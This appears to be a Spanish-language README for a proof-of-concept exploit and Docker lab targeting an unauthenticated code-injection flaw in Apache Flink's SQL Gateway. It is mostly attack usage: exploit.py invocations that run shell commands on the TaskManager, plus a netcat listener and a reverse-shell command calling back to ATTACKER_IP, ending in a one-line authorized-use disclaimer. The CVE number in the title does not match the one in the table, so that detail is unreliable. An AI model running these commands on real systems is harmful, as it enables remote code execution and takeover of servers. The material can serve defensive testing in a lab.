
Exploit de prueba de concepto y entorno de laboratorio para CVE-2026-25194
| CVE | CVE-2026-35194 |
| CVSS | 8.1 (Alta) |
| CWE | CWE-94 — Inyección de código |
| Afectado | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| Corregido | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| Superficie de ataque | API REST de SQL Gateway (puerto predeterminado 8083, sin autenticación) |
docker compose up -d
Espera ~30s a que el clúster se inicie. Se levantan dos servicios:
http://localhost:8081http://localhost:8083Verifica:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
Vector JSON:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
Vector LIKE:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
Solo verificación de versión (sin RCE):
python3 exploit.py localhost -p 8083 --check-only
Verificar RCE en TaskManager:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
Solo para investigación de seguridad autorizada y fines educativos.